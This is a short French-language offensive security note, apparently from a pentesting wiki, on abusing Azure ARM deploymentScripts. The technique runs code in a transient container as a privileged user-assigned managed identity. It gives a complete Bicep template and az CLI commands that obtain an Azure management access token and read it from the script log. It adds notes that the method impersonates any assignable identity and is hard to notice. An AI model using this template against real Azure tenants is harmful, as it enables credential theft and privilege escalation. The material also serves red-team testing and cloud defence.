Une ressource ARM Microsoft.Resources/deploymentScripts exécute un script shell ou PowerShell arbitraire dans une Azure Container Instance transitoire, et ce conteneur s'exécute en tant qu'identité managée affectée par l'utilisateur que vous spécifiez. Avec Microsoft.Resources/deployments/write et la capacité de référencer une identité affectée par l'utilisateur privilégiée, un deployment script devient une exécution de code en tant que cette identité, sans jamais toucher à une VM ou à une Function.
Exécuter un script en tant qu'identité cible#
cat > ds.bicep <<'EOF'
param uami string
resource s 'Microsoft.Resources/deploymentScripts@2020-10-01' = {
name: 'pwn'
location: resourceGroup().location
kind: 'AzureCLI'
identity: { type: 'UserAssigned', userAssignedIdentities: { '${uami}': {} } }
properties: {
azCliVersion: '2.52.0'
scriptContent: 'az account get-access-token --resource https://management.azure.com/'
retentionInterval: 'PT1H'
}
}
EOF
az deployment group create -g <rg> --template-file ds.bicep \
--parameters uami=/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<uami>
# read the script output for the token
az deployment-scripts show-log -g <rg> -n pwn
Notes d'exploitation#
- L'identité doit seulement pouvoir vous être assignée ; elle n'a pas besoin d'être une identité que vous contrôlez déjà, ce qui permet d'emprunter n'importe quelle identité affectée par l'utilisateur à portée (le schéma
Invoke-AzDeploymentScriptde MicroBurst). - Le conteneur est transitoire et la ressource facile à manquer, ce qui en fait un moyen discret de s'exécuter en tant qu'identité privilégiée.
- Cela va de pair avec l'identité : un déploiement privilégié et un deployment script sont les deux faces de l'exécution pilotée par ARM.
Outils#
- Azure CLI (
az deployment group create,az deployment-scripts show-log). - MicroBurst (emprunt d'identités affectées par l'utilisateur à la manière d'
Invoke-AzDeploymentScript).